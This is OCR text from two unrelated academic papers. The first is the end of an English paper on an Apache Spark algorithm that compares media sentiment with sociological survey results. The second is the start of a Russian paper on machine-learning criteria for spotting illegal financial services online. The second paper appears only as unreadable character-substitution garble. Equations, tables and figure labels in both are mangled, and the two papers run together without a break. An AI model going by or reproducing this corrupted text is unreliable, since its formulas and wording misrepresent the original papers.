the questionnaire, that is, either "Economic situation”,
or "Financial situation”, or "Country development”,
or "Life satisfaction", the tonality of these articles is
determined;

2) based on the results of sociological surveys,
indicators of the effectiveness of managing the country’s
regions in the social and economic sphere are calculated
for a specific category;

3) the results of the first and second stages are
compared.

General system of equations for solving the problem
of finding contradictions the information is as follows:

{qi = Z(s* € di*)—Z(s’ € d,*)

C; =0y +0a,p —ag.

Thus, a survey of methods showed the following:

e to process media publications within the
framework of the problem of finding contradictions, it is
necessary at the first stage to select articles on a given topic
to apply latent semantic analysis; at the second stage, apply
the method for determining the sentiment of articles;
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e to process the results of sociological surveys within
the framework of the problem of finding contradictions,
it is necessary to use the method of calculating the
integral indicator for the question selected from the
questionnaire.

Taking into account the selected methods for
solving the problem, an algorithm for searching for
contradictions in information was developed [14].

Algorithm for intelligent processing of big
data using the Apache Spark module

The developed algorithm has a multi-step structure, that
is, the result is obtained after passing through three stages.
At the first stage A1, the media publications are processed
according to the mathematical model described above and
using the method of latent semantic analysis (fig. 3).

At this stage, the data diversity and the thematic
difference of the processed articles are taken into
account. At the second stage A2, the results of sociological
surveys are processed, namely, the integral indicator
"satisfaction with the socio-economic situation of the
region" is found. The block diagram of the algorithm
is shown in fig. 4.

The third stage is the presentation of the results
obtained at stages AI, A2 and their interpretation by
the decision-maker (fig. 5).

Results of an experimental study to assess the
impact of the algorithm on the quality
of the result

The quality of the result obtained by the algorithm
means the search for such a number of contradictions in
the information, which will correspond to the number
of contradictions found by the expert.

As part of the experiment, the expert was provided
for verification with test arrays of articles and documents
with the results of sociological surveys of various sizes,
where the presence of a contradiction was recorded in
each of them. When checking these documents, the
time of their checking for contradictions was measured.
The measurement results are presented in table 2.

Table 2
Results of checking information by an expert for contradictions

Number of analyzed Checking Fouqd .

documents (volume, Kb) time, min @ ComEONE @)
’ ? not found (+/-)

10 (88) 12 +

30 (188) 35 +

50 (306) 52 +

80 (548) 90 -

150 (649) 130 -

Al
Start

Defining input data [~ —

An array of
informational articles

T [~ 1) deleting stop words;
exd 2) converting words to lower
normalization | |— —4 e
3) highlighting the basis of a
L_word in words
Creating
dictionaries
Finding 1) construction of a
r‘m‘.f_.'c.'le? _— — | firequency matrix;
similar in 2) singular value
meaning | decomposition of a matrix
Determining
the — =1 g.=Y(s"ed)-Y (s ed)
sentiment of =2 ) '
articles
Qutput of the result

Fig. 3. Block diagram of the
algorithm for processing a set of
media publications

Al

As a result, the expert verification of information
showed that with an increase in the amount of
information, the verification time increased, and the
effectiveness of the search for contradictions decreased.
The measurement results are shown in fig. 6, where
horizontally reflects the number of documents being
checked, and vertically — the time of verification.

Similar measurements carried out using the Apache
Spark module showed the following experimental results
(table 3).

As a result of the analysis of table 3, it showed that when
using the module Apache Spark, test times are shortened
and productivity is increased. The final presentation
of the results of experiments in the form of graphs of
the execution time of searching for inconsistencies in
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Start

Documents with the
results of sociological
surveys

Definition
input data

Search for the The question of
required questiof | _ assessing the
in the development of
questionnaire economic sectors in the

region

Calculation of the

Integral  indicator
"satisfaction  with = — —
the socio-economic
situation  in  thd
region”

¢, =a,ta,—a;

Qutputting the result

A2 Fig. 4. Block diagram of the
algorithm for processing the
The end results of sociological surveys
Al B

Processing articles
based on latent
semantic analysis

T Qi=z(s+6df.)_2(s_ed;)

A2

Processing the
results of
sociological surveys

;=dyta, —a,

g,=)(s'ed)-Y (sed)

¢ =a,;ta,—a;

Outputting the result

Fig. 5. Block diagram of the algorithm for processing multiformat
data (results of stages A7 and 42)

120

100
80

60

Check time, min

40

expert review

-10 10 30 50 70 90 110 130 150
Number of documents

Fig. 6. The graph of the dependence of the time of checking
documents on their number (volume)

Table 3

Results of checking information for inconsistencies
using the module Apache Spark

Found a
Number of analyzed Checking contradiction/
documents (volume, Kb) time, s/min not found
/)
10 (88) 0.2/0.0033 +
30 (188) 0.3/0.005 +
50 (306) 0.54/0.009 +
80 (548) 0.83/0.014 +
150 (649) 0.9/0.015 +

information of a fixed amount by an expert and using
the Apache Spark module is shown in fig. 7.

Based on the results of the experiment, the following
conclusions can be drawn:

— when using the Apache Spark module to search
for inconsistencies in information, the time for checking
information is reduced;

120 — expert review ,
w= using Apache Spark

Check time, min

0,0033 0,005 0,009 0,014 0,015

o= ) i Y i [ 3 [ 3
) 30 50 20 150

Number of documents

Fig. 7. Graph of comparison of the results of the execution time of
the search for contradictions by the expert and using the module
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46,4%
..5?. '2%
H Negative ® Negative
o Positively | Positively
a) b)

Fig. 8. The result of the algorithm implemented in the software
module Apache Spark:

a — analysis of the results of opinion polls; & — analysis of
publications

— when using the Apache Spark module to find
inconsistencies, performance is improved.

The proposed algorithm was implemented in a
computer program [15]. Based on the results of processing
a sociological survey and media articles using the
developed program, diagrams are displayed, an example
of which is shown in fig. 8. As a result of analyzing the
diagrams, a decision-maker can determine the presence
or absence of contradictions in the information obtained
from two different data sources.

Conclusions

The paper presents an algorithm for intelligent
processing of big data using the Apache Spark module,
which made it possible to solve the problem of inconsistency
and heterogeneity of information by choosing methods
(latent semantic analysis, a method for determining
the sentiment of articles and a method for calculating
an integral indicator for a question selected from the
questionnaire).

The algorithm was implemented in a computer
program registered [15].

Experimental results showed that using the Apache
Spark module to find inconsistencies in information
reduces test run time and improves performance.

It is advisable to conduct further research in the
direction of improving the developed methods and
algorithms and increasing the reliability of the data.
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1HaLl,I/IOHaJ'IbeII7I nccnegoBaTtenbCkUi yHMBepcuTEeT "Bbiclias wKona akoHoMunkKn", Mocksa
20rB0Y BO "MUP3A — PoCCHIACKMIA TEXHOMOTMYECKMUI yHuBepcutet"

3pP3Y umenn I B. MnexaHoBa, MockBa

43A0 "EC-nun3nHr", Mockaa

NocTpoEHME WKaMbl BbIABNEHNA MOWEHHNYECKOI
neATenbHoCTN B CeTi VIHTepHeT ¢ NOMowbI0 MALIMHHOTO
o6yyenna’

lNoscemecmHas yughposusauyus obuiecmea u pazsumue UHhOPpMayUOHHbBIX mexHoo2auli criocobecmey-
tom ygenu4deHuto Memodoes g3aumodelicmausi Mexoy hUHaHCO8bIMU Op2aHuU3ayusMu U nomeHyuasbHb-
Mu nompebumensamu puHaHCO8bIX ycrye. B mo xe eapems nosierieHue Ho8bix (huHaHCco8bIX MPOdyKmMos
Heu3bexHo eedem K pocmy y2p0o3, a Ucrofib3o8aHue UHOPpMaUUOHHbIX mexHonoaul codelicmayrom
MOCMOsIHHOMY "cogepuweHCm8o8aHUK" MOWEHHUYECKUX cxeM U HeA0bpoco8eCmHOMY OKa3aHU ycrye,
He2amueHO BIUSWUX KaK Ha (hUHaHCOBbIL PbIHOK 8 UE/IOM, maK U Ha €20 omOesibHbIX y4acmHUKOS,
makux Kak ghuHaHCo8ble opeaHu3auuu U ux KIueHmel.

B ces3u ¢ pazsumuem coepemeHH020 obuiecmea bonblwas Yyacme (hUHaHCO8bIX oriepauyull, 8 Mom
yucrie MOWeHHUYeCKUX, nepewsna 8 MumepHem. lNpu ydaneHHOM okal3aHUU yclly2 CrI0XKHee omcrie-
oumb u npusneys beHeguyuapa K omeemcmeeHHocmMuU, 0OHaKo crnocobbl Mpeceyb MOWEHHUYECKYHO
dessimesibHOCMb 8C€ PpagHO eCMb, HO OHU 06YC108/1€HbI 8bICOKUMU Mpydo3ampamamu Ha MOHUMOPUH2
U aHasnus, nomomy 4ymo 8 cemu VMIHmepHem pacrosioxXeHbl 02POMHbIe 06bEeMbI HECMPYKMYypUPO8aHHOU
uHgopmayuu (BigData). B ocHoge peweHus 8bisagrieHuUs HenezarnbHoU 0esimesibHOCmuU Ha (hUHaHCo-
80M pPbIHKE fiexxum pa3gedka Ha OCHOBaHUU OMKPbIMbIX OaHHbIX, MPUMEHEHUE Memod08 MallluHHO20
0byyeHus u Memodo8 cuCmMeMHO20 aHanu3a.

B cmambe paccmompeHbi 8udbi ghuHaHCOo8bIX yciye, npedocmassisieMbix 8 cemu IHmepHem, cpedu
Komopsbix Haubonee pacnpocmpaHeHa MoueHHUYecKasi 0esimeribHoCMb. [1s1 8bisi8rieHUs1 HereaarbHbIX
guHaHCco8bIX ycnya 8bl0esnieHbl U C2pynnupo8aHbl Kpumepuu 8 3agucuMocmu om gksada 8 NpuHamue
peweHusi. OCHO8HbIM pe3yribmamom uccrnedo8aHus 18/19€MCs NOCMpPOEHUEe wWKasbl KOMIIEKCHO20
uHOUKamopa, ¢ NoMowb Komopoezo pa3pabomaHa Mamemamu4eckas MoOesib, OCHO8aHHasi Ha 8bi-
0erleHHbIX Kpumepusx u Memodax MawuHHO20 0by4YeHus, Ord 8bIsI8/IeHUSI CMeNneHuU HeneaanbHoCmu
guHaHCco8bIX ycrye, oKka3bleaeMbix 8 cemu MIHmepHem.

Knroyeesnle cnoea: npomusodelicmeue HeAobpoco8eCMHbIM rpakmukam, QpUHaHCo8bIE yCrlyau, UHmep-
Hem-MoweHHU4Yecmeo, MawuHHoe oby4eHue, cucmeMHbIl aHanu3, Mamemamu4eckasi Mooesib, 6osbuiue
O0aHHble, KOMIIeKCHbIU UHOUKamop, aHau3 omkpbimbix 0aHHbIX, MOHUMOPUHe 8 cemu HmepHem

BBeaeHue "O LentpansaoM 6aHke Poccuiickoit @enepannu

(baake Poccum)" ot 10.07.2002 N 86-®3 (pen. ot

I'maBHbIil Han30pHELA opraH PO B cdhepe uHaH-  11,06.2021), yrIOTHOMOYEH OCYLLIECTBIISATS MOHUTOPHHT

coBbiX ycayr — llenTpanbHbiilt 6aHk Poccuiickoit
®enepannu, cormacHo PemepalbHOMY 3aKOHY

! CraThst MOArOTOBNICHA IO MaTepHayaM mokiaza Ha Cenb-
Mol MexXayHapomHOU KoH(pepeHIMH "AKTyaJdbHbIE TPOOIEMBI
CUCTEMHOM U mporpamMmmHoi nnxenepuu" AIICITU 2021.

3a JesITeIbHOCTbIO OpraHu3aluit, IPeaoCTaBIISIONINX
(pmHAHCOBBIE YCIIYTU, ¥ BECTH AESITENBHOCTD ITO IMPOTHU-
BOJECHCTBUIO HEMOOPOCOBECTHBIM MpakKTUKaM. OCHOB-
HBIMU O0OBEKTAMU MOHUTOPUHTA HEAOOPOCOBECTHBIX
npakTuk llenTpanbHoro 6anka P® gpusiorcs:
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1) MmukpodrHaHCOBBIE OpraHMU3aluu;

2) (popekc-0poKepHl;

3) (puHAHCOBBIE TUPAMUIDI;

4) nnatexHble CUCTEMBI;

5) omepatopbl 3JEKTPOHHBIX JEHEXHBIX CPEJACTB
(371EKTPOHHBIE KOLIEIbKH).

Bcero 3a 2020 r. BbisiBieHO 1549 cyOBEKTOB He-
JieTaJlbHOM (pUHAHCOBOU IesITeIbHOCTU, 1O aHaJM-
TUYECKUM MaHHBbIM [l], Ha KaxXble ABa JerajJbHbIX
CyOBeKTa TMIPUXOAUTCSI ONMH HeJleTaJbHBIM.

B nacrosgmee Bpemsa LleatpanbaeiM bankom P®D
BeleTCsl aKTUBHasl paboTa Mo MPOTUBOJAEHCTBUIO He-
JOOPOCOBECTHBIM ITpakTUKaM. OQHaKo pa3BUTHE ce-
Pbl MHTEPHET-YCAYT U MpoaoJKarolascs uugppoBusa-
LIS DKOHOMUKHU TpeOyIOT MOIUGUKALIUU CYIIECTBY-
IOIIMX METOIOB BhISIBJIEHUS CYObEKTOB HeslerajabHOMI
eI TeIbHOCTH: aBTOMAaTU3allMM Mpoliecca MOHUTO-
pUHTa UHTEPHET-MPOCTPAHCTBA C TTIOMOIILIBIO METOJIOB
00pabOTKU HECTPYKTYPHUPOBAHHBIX TaHHBIX B LEISIX
BBISIBJICHUSI CYyOBEKTOB (DMHAHCOBOM NESITEIBLHOCTH,
OTJMYAIOIIMXCS HalM4yrMeM TMPU3HAKOB He100pOCco-
BECTHOM AesiTeIbHOCTHU. s ycoBepllIeHCTBOBAHM S
CHUCTEMbI MOHUTOPUHIA HEOOXOAMMO aBTOMATU3UPO-
BaTh BCE ITANbl — HE TOJHKO MOMCcKa WHGPOPMAIINH,
HO TaKXXe aHaJiu3a U OLIEHKU BEPOSITHOCTU HeJleTallb-
HOCTU MHTEPHET-PECYPCOB MIJISI ONITUMHU3ALIUKY 3aTpaT
BpPEMEHU CITeIIMAINCTOB Ha TIPUHSITHE PELICHU.

CoBpeMeHHas MpaKTuKa TakoBa, YTO HEO0X0AMMO
HUCCJIeNOBaHME CAaMUX MHTEPHET-PECYypPCOB, Ha KOTO-
pBIX B TOU MU MHOH (popMe mpeayaraiorcss ¢pUHaAH-
COBbBIE YCJIYyTY, TaK KaK He BCeraa eCTbh BO3BMOXHOCTb
YCTaHOBJIEHUSI UX CBSI3U ¢ OeHeduinapaMmu. MolleH-
HUKHU HE yKa3bIBaloT MHGOPMALMIO O IOPUIUYECKOM
JIUIle WIM yKa3bIBAIOT JIOXKHYIO. DTO 3aTpyAdHSET
BbISIBJIEHHE CyObeKTa, OKa3blBalOIIEro HeI100poco-
BECTHBIE YCAYI'Y, U MPUBJEYCHUE €r0 K OTBETCTBEH-
HocTu. IlepeiiTu OT MmorcKa MOIIEHHUKOB K MOUCKY
WHTEPHET-PECypcoB 0€3 HEOOXOAUMOCTU YCTaHOB-
JIeHns OeHedUIIMapoB, BEAYIIMX HeJIeTaJbHYIO JIe-
SITEJbHOCTb, BO3BMOXHO OJlarogapsi COBpeMEHHBIM
TEXHOJIOTUSIM 00pabOTKM HECTPYKTYpPUPOBAHHBIX
JaHHBIX, C TTOMOIIbBI KOTOPBIX MOXHO MPOBOAUTH
aBTOMAaTU3MPOBAHHBIX MOHUTOPUHT U UH(POPMUPO-
BaTh O (pakTe OKa3aHMS HE3aKOHHBIX (DMHAHCOBBIX
yCayr. OTOT MNOAXOJA MO3BOJUT paclIMPUTh 00JaCThb
MoMCKa HeAOOPOCOBECTHBIX (PUHAHCOBBIX MPAKTUK,
CHU3UTh PUCKU BOBJICUCHU S I'pakaH U OpraHu3alui
B TTOMOOHYIO AeSITEIbHOCTh M OIEPAaTUBHO ITPeceKaThb
ee. B cBoo ouepeab coopaHHast nH¢popMalus oo NH-
TepHEeT-pecypce MOMOXKET B MOMCKE M MPUBJICUEHU U
K OTBETCTBEHHOCTHU HeJleTaJIbHBIX YYaCTHUKOB (pu-
HaHCOBOI'O PbIHKA.

Hnsa nociaenywoueit nHGopMaTU3aMu MOHUTO-
pUHTa MHTEPHET-PEeCypCcOB IMOCTaBJIeHA IeJIb UC-

cliefoBaHUsI — pa3paboTaTh MOAEb LIKaJbl OLIEHKU
BEPOSITHOCTHU MOILIEHHUYECKOM UM HeJleralbHOM ne-
SITEJIbHOCTU CyOBEKTOB, OKa3bIBaIOIIMX (PHAHCOBbIE
ycayru B cetu MHTepHer.

B oTiiuume OT CyLIecTBYIOLLErO MpoLecca Mnpo-
BEPKH AEATEIHLHOCTU IOPUIMYECKUX JUIl B TaHHOMN
paboTe MpeagoXeHo ciaeayloliee.

1. CuctemMaTyecku MPOBOAUTH aBTOMATU3UPO-
BaHHBII MOHUTOPUHI MHTEPHET-PECYPCOB B LEIX
BbISIBJIEHUS (PAKTOB 0€3JMIIEH3MOHHOTO OKa3aHU S
(UHAHCOBBIX YCIIYT.

2. B kayecTBe 00BbeKTa MCCIEIOBaHUS Tepei-
TH C MPOBEPKHU ACSITEIbHOCTH IOPUANYECKUX JIUII,
OKa3blBaOIIMX (PUHAHCOBBIE YCIYTHU, HAa TPOBEPKY
HeJIeraJbHOCTU MHTEPHET-PECYypPCOB, Ha KOTOPHIX
O0Ka3bIBalOTCSl NaHHBIE YCAYTH, YTO MO3BOJUT pac-
LLIMPUTH 00JIaCTh MOMCKA HeJIerajJbHbIX YYaCTHUKOB
(MHAHCOBOTO PhIHKA.

3. 114 OLIEHKM HeJleraJbHOCTU (PMHaHCOBOM Hesi-
TEJIBHOCTH MCIIOJIb30BATh METOIBI MHTEIIEKTYaIbHON
00pabOTKU HECTPYKTYPUPOBAHHBIX U CIA0OCTPYKTY-
PUPOBAHHBIX JAHHBIX.

AHanu3 npeaMeTHO 00JacTM U HOPMAaTUBHBIX
JIOKYMEHTOB PEryjasiTopa Mo3BoJisSieT BbISIBUTh KPU-
TEpUU HeJerajJbHOCTHU, MPUCYLIUE KaXIOMY pac-
cMaTpuBaeMoMy BUAY (GDMHAHCOBON NesITEIbHOCTH.
Hcxonss n3 aHanusza mHPoOpMalUU peryasitopa
M Hay4YHBIX MCCJefOBaHUl, chOpMUPOBAH Tepe-
YeHb KpUTEepHUeB HejeraibHocTu. C mMoMouIblo Me-
TOJOB MAlIMHHOI'O OOYYEHHUs OlleHeHa UX BaXXHOCTh
B 3aBMCHMOCTHU OT BKJIajJia B NMPUHSTHUE pPELICHUS
0 HeJleraJbHOCTU UHTepHeT-pecypca. Ha ocHoBe
MOJIyYeHHON CUCTEMbl KPUTEpPHUEB MOCTPOEHA Ma-
TeMaTU4YecKass MOJIeJIb KOMIUIEKCHOTO MHIMKATOpa
JUIS1 OLIEHKM BEPOSITHOCTHU HeJierajJbHOW (pMHAHCO-
BOI €SI TEJIbHOCTH.

1. AHanu3 npegmeTHOM obnacTu

B Hacrosiee Bpemst (hoMHAHCOBOE MOLLIEHHUYECTBO
npuoodpeTaeT Bce OOIbIINMI pa3dmMax B ceTd MHTepHeT.
ABnggch NPUHLIMIIMAJIBLHO HOBBIM SIBJIEHUEM, (PUHAH-
COBO€ MHTEPHET-MOIIEHHUYECTBO UMEET XapaKTep-
HbIE€ NTPU3HAKU, KOTOPBIE OTJAUYAIOT €T0 OT APYTHUX
BUIOB IPECTYNHBIX NCWCTBUN:

e BBICOKAs CTENEHb JATEeHTHOCTH;

e MHOroo0pasue Crioco00B COBEPILIEHU S MTPECTY-
MJICHUW;

e TpPaHCHALMOHAJbHOCTb U IJ100AJBHBIN Xapak-
Tep AesITeIbHOCTH;

e CJIOXHOCTb MPUBJIEYEHUS K OTBETCTBEHHOCTH
C IOpUANYECKON TOUYKHU 3peHus [2].

TToMrMO U3BECTHBIX U U3YUYEHHBIX BUJOB MHTEPHET-
MOIIIECHHHWYECTBa, TAKUX KaK (UIIMHT, KpayadaH-
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JUHT, MOLIEHHUYECKME MUCbMa Ha BJIEKTPOHHYIO
nouty u T. A. [3, 4], B mocienHee BpeMsi HabupaeT
MOMYJISIPHOCTH HaIpaBJIeHWe OKa3aHUS HeJleTalbHBIX
(puHaHCcOBBIX ycayr B cetu MHTepHeT. [Ipu Takom
MOIIEHHUYECTBE CO3Jal0TCSI MHTEPHET-PECYpCHI,
KOTOpbIE OKa3bIBalOT (pMHAHCOBBIE YCIAYTU 0€3 JIU-
LIEH3UM, YTO OTKPBIBAET UM BO3MOXHOCTH IJI5I MO-
LLIEHHUYECKOM AeATeIbHOCTU. B oT/inuue oT npsiMmoro
WHTEpHET-MOILIEHHUYECTBA, HeJleraabHasl (puHaHCOo-
Basl IesSITEbHOCTh HE 00513aTEIBHO SIBJISIETCS MOIIIEH-
HUYECKOM, OJHAKO OTCYTCTBUE KOHTPOJISI CO CTOPOHbI
HaJI30pPHBIX OPTaHOB MPEAOCTABISIET TaKylO0 MOTEH-
LMaJIbHYI0 BO3MOXHOCTS [5]. HecMOTps Ha BRICOKYIO
CTeINeHb OCBEIIEHHOCTU BOMPOCa MHTEPHET-MOILLIECH-
HuyecTBa [2—4, 6, 7], paccMaTprBaeMoe B JaHHOM
HCCJIeNOBAaHUM HalpaBJieHUEe, TaKoe KaK OKa3aHMe
HeJIeTaJIbHBIX (PMHAHCOBBIX YCIIYT, OCTA€TCSI MaJIOU3-
YUYEHHBIM U cj1abo ¢opmann3oBaHHbIM. [Ipobiemoit
B YCTPaHEHUM MHTEPHET-PEeCypCOB, OKa3bIBAIOLIMX
MOJO0OHBIE YCAYTHU, CO CTOPOHBI KOHTPOJIBHBIX Opra-
HOB SIBJISIETCSI OTCYTCTBUE 3(p(heKTHUBHOTO MEXaHU3Ma
aBTOMAaTU3MPOBAHHOIO MOHMTOPUHIA U BBISIBICHUS
aKTOB HeJIeraJJbHOTO OKa3aHUsl (UMHAHCOBBIX YCAYT
B ceTu MIHTEpHeT.

Hnsa aHanuza BUAOB MOLIEHHUYECKUX (DUHAHCO-
BBIX YCJIYT B ceTU MHTEepHET B TaHHOM UCCJIeIOBAaHUU
MpeaaraeTcs OTTAIKUBAThCS OT KJacCU(MUKAIIUK pe-
CYpPCOB, IIPEAJIOKEHHOM peryasaTopoM [5]. ABTopamu
PacCMOTPEHBI KJIaCChl MHTEPHET-PECYPCOB B 3aBUCH-
MOCTHU OT BUJAOB (D)MHAHCOBKIX YCIYT, B OOJIbIIEH CTe-
MeHU NpeAcTaBAsSIoIMX UHTepec 151 [leHTpalbHOro
banka P® ¢ Touku 3peHMs pacpoOCTPaHEHHOCTH HE-
JleraJibHOM NesTeIbHOCTU B ceTu MHTepHeT.

1. MukpoduHaHcosast opranusanus (MPO) — op-
raHusauus, 3aHUMapIIasCcs Bblaayeil MUKpPO3aliMOB
(buznyecKUM M IOPUAMYECKUM JIMLIaM Ha KOPOTKM A
CpoOK Mo BeIcCOKMT mpoleHT [§8]. B cetu MHTEepHET
pa3MelleHbl yeayru 6oJbinoro uucia M®O, ogHako
OOJIBIIMHCTBO M3 HUX BEAET CBOIO JIESITEIbHOCTh 0€3
nuueH3uu [9]. OHM 3aBiIeKalOT KJIWEHTOB 3aHUXEH-
HBIMU (IO CPAaBHEHUIO C JIeTaJbHBIMU OpTaHU3aIl-
sSIMU) TpeOOBaHUSIMM AJS BblgauM 3aiimMoB. I[ToMmuMo
Mnpo0JyieMbl TEHEBOI SKOHOMUKU, He obJlaraeMoit Ha-
JIOTOBBIMU 00sI3aTeJIbCTBAMM, PUCKHM B3aUMOICHCTBUS
C MOAOOHBIMU OpraHU3alUsIMU HECYT U KJIMEHTHI (He-
Mpo3payHble YCIOBU S, CKPBIThIE KOMUCCUU, HEBO3BpAT
3aJI0TOBBIX LIECHHOCTE).

2. @opekc-nuiaep (Forex) — aTo mpodeccroHanb-
HBIN YyYacTHUK (DMHAHCOBOTO PbIHKA, KOTOPBIM 3a-
KJIIOYAET CIEJKHM OT CBOETO MMEHU U 32 COOCTBEHHbII
cuet ¢ pusnvyeckumu aunamu [10]. B Hacrosiee Bpe-
Ms Ha Tepputopun Poccuiickoit @enepalinu geraib-
HO OKa3blBalOT CBOIO AESATENbHOCTb TOJbKO YEThIpe
bopekc-nunepa, B To BpeMs KaK y THICSY APYTUX

(opekc-nunepoB OTCYTCTBYIOT JIMLIEH3UU HA BEICHUE
Takoi gesiTebHOCTH |5, 11].

3. ®unancoBag nupamuna (High Yield Investment
Program, HYTP-nipoekT) — 3T0 cucTteMa, MoCTpOeHHasl
Ha MOCTOSIHHOM MPUTOKE ACHEXHBIX CPEICTB, MOCTY-
MaUINX U3BHE OT HOBBLIX YUacTHUKOB [12]. [TomoOue
WHBECTULIMOHHBIX (DOHA0B, KOTOpPbIe OOEIIAOT Bbl-
COKYIO0 OKYNaeMOCTb, BbIIIJIaUMBasi MPEeXKHUM ydyacT-
HUKaM JIEHeXXHbIe CPEACTBA 32 CYET MOCTYIJEHU OT
HOBBIX y4acTHUKOB [13]. PuHaHCOBBIE TTUPAMUIBI
unu HYIP-npoekThl 3amnpelieHbl Ha TePPUTOPUU
Poccuiickoit ®denepanuu [14]. OgHako B cetu UH-
TepHET JaHHBIN BUI CEPBUCOB MAaCKUPYETCS MOJ MH-
BECTHILIMOHHBIC (POHIBI U Aaxke UTPHI (BBOA M BHIBOJ
JIEHEXXHBIX CPEACTB MPOUCXOAUT Uepe3 BUPTYyaIbHbIE
MpeaMeThl), YTO He AeslaeT MX JerajJbHbIMU. 3ampe-
IIEHHOCTH TaHHOTO BUIa GMHAHCOBOM OeATEIBHOCTH,
K COXaJleHW10, He OTTaJIKMBAaeT T'paxjaH, KOTOpbIE
BEPST B BBICOKYIO 1oXogHOCTh HYIP-mpoekTos.

4. IlnarexHag cucrtema (IIC) — 310 cBsI3aHHAas
JIOTOBOPHBIMU OTHOILIEHUSIMU OOIIIHOCTb IOpUAMYE-
CKMX JIWII, KOTOpbIe 00BEAMHUINCH B LIEJISIX OCYLIECT-
BJICHUS MepeBOAa IEHEXHBIX CPENCTB B DJIEKTPOHHOM
unu pusndeckoit popme [15, 16]. [1narexxHble cucTe-
MbI, IPEeIOCTABISIOLINE CBOU YCIYTU 0€3 JIMLEH3UU
LenTtpansHoro 6anka P®, 3avacTyio mMpuUBIEKaIOT
KJIMEHTOB 00Jiee HU3KMMHU KOMHUCCHUSIMHU 3a TIepeBO-
JIbl (UM UX MOJHBIM OTCYTCTBUEM) IO CPaBHEHUIO
C JleraJibHBIMU KOHKYypeHTaMu [17].

5. OmepaTop 2JEKTPOHHBIX JAEHEXHBIX CPEACTB
(371eKTpOHHBIN Kolienek, e-Wallet, BJIC) — opuau-
yeckKoe Julo, obecrneyrBaloliee nepeBoi IeHEKHbIX
CPEICTB B 2JICKTPOHHBIE 9KBUBAJEHTHI 1JIs TTOCAENY-
o1IKMX onepauuii Hag HUuMH [15, 18]. JaHHbIi BUa pu-
HAHCOBBIX UHTEPHET-PECYPCOB TECHO CBsI3aH C IJa-
TEXHBIMU CUCTEMaMM, 3a4acTyl0 OHU KOMOUHUPY-
10TCA (IaTexXHasl CucTeMa C BUPTYyaJbHBIM CUETOM).

Hns obecrieyeHUsI BO3BMOXHOCTHU OLIEHKU HeJie-
raJbHOCTU AESITEJIbHOCTU HEOOXOAUMO OIMpEeAeSUTh
KPUTEPUU, YKa3blBAOLIWE HA MMPU3HAKNA MOIIEHHU-
YECKOU NMEesSITeIbHOCTU, IPUMEHUTEIBHO K KaXXKIOMY
U3 PAaCCMOTPEHHBIX BUIAOB (pruHAaHCOBBIX ycayr. Oc-
HOBHBIM MCTOYHMKOM MHGMOpMAlLIMU MPU OIpeaese-
HUM TepeuHsl KpUTepUeB HeJleraJbHOCTU (DUHAHCO-
BOI NESITEIbHOCTU SIBJSIIOTCSI OTKPBIThIE MaTepuabl
LentpanpHoro 6anka P®, rakue kax [1, 19, 20] ormu-
chiBalolve pakTopbl pa3BUTUS MOLIEHHUYECKOM Je-
SITeJILHOCTH, KJIACCU(UKAIIUIO PECYPCOB U KPUTEPUU
MOIlIeHHUYeCcKOoM aesTenbHocTu. [Ipu onpeneneHuun
KPUTEPUEB CTOUT OTTaJKMBAThbCs OT TpeOOBaHUM,
npenbsaBisieMbix LleHTpanbHbiM 6aHKoM P®D K conep-
KaHW10 MHQOopMaluKu Ha (G)MHAHCOBBIX MUHTEPHET-pe-
cypcax, onMCaHHbIX B mUCbMe oT 23 okTsa0ps 2009 r.
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colepXXKaHWIO M opraHu3anum Web-caiiToB KpeauT-
HBIX opraHu3auuii B cetu Uurepuet" [21].

ITomuMo opuUIIMATIBHBIX JAHHBIX HAA30PHOTO Op-
rafa, mpo6JieMa onpenesieHNs MPU3HaKOB MOIIIEHHHU-
yecTBa B GQMHAHCOBBIX YCJIYTaX OCBellleHa B HAyYHbIX
paborax [13, 16, 22, 23]. B pabore [16] aBTOpamMu uc-
cleqoBaHUS paccMaTpuBaeTcs posb LleHTpaapHOTO
6anka P® B mpouecce nmpeaoTBpalleHUsT MOILIEHHM-
yecTBa Ha (GMHAHCOBOM PbIHKE, MPUBOISITCS KJIaCCH-
(bukanms BUIOB HeJleTaIbHOM AeSTEIbHOCTH M UX OT-
JIMYuTeNbHble 0ocoOeHHOCTU. B pabote [22] aBTOpamu
paccMaTpuBalOTCs BUIblI HeJleTaJlbHbIX (PUHAHCOBBIX
yCIIyT, 0c000€ BHUMAaHUE YAEISIETCS KpUTEPUSIM Helle-
raJIbHOCTU MUKPO(MUHAHCOBBIX OpraHm3anuii u Gu-
HaHCOBBIX Tupamu. B pa6orax [13, 23] nmeTanbHO
HcciIeaoBaHbl (PMHAHCOBBIC MUPAMUIbI, UX Pa3HOBUI-
HOCTH U CITOCOOBI BBISIBJICHUSI.

B pesynbraTe aHanm3a MpeaMEeTHON 00JTaCTH BHI-
SIBJIEHBI BUJbl (DUMHAHCOBBIX YCAYT, B KOTOPHIX pac-
MMpocTpaHeHa MOIIeHHUYecKas aesTeabHoCcTh. Mc-
clieOBaHbl UICTOYHUKYW WHOOPMAIMK O BUIax u-
HAHCOBOH AESITeIbHOCTU, HA OCHOBE KOTOPBIX MOXHO
chopMupoBaTh MepeuyeHb KpUTEPUEB, YKa3bIBAIOIIMX
Ha HeJIeTaJbHOCTh OKa3bIBaeMbIX yCayr. OgHaKO He
BCe KPUTEPUHU UMEIOT OMMHAKOBYIO 3HAYNMOCTD TTPHU
NMPUHSATUU PELIeHUS] O HeJerajbHOCTU pecypca.
B cBsa3u ¢ 3TuM pajee B paboTe ¢ IMOMOIIBIO METO-
OB MAIIMHHOTO OOYYEHUSI OIEHWBAETCS BaXHOCTH
KpUTEpUEB B 3aBUCMMOCTM OT BKJajaa B MPUHSTUE
peleHus 0 HeTOOPOCOBECTHOCTU OKa3bIBaEMBbIX YCIYT
u ¢hopMuUpyeTCcs MaTeMaTruuyecKas MoJeJib, OCHOBaH-
Hasl Ha CUCTeMe KPUTEPUEB IS OLIEHKY BEPOSITHOCTH
HeJIeraJbHOCTH €SI TeIbHOCTU Ha MHTEpHET-pecypce.

2. AHanus KputepueB HenerajibHOCTU €
noMouwbo veToaoB MAalLMHHOIO 06y‘-IeHI/I$|

Ha ocHoBe nmpoBeaeHHOro aHajau3a copMUpOBaH
o01IMit TiepeyeHb U3 37 KpUTEPUEB HeEJIerajbHOCTU
(puHaHcoBol AeaTenbHOCTU. OOHAKO Habop Kpume-
pues, TIPUMEHIEMBIX K 00BbEKTY MCCIIeNOBaHUs, KO-
TOPBIM SIBJISIETCSI HHTEPHET-PECypC, 3aBUCUT OT BHIA
OKa3bIBa€MbIX (PMHAHCOBBIX YCIIYT.

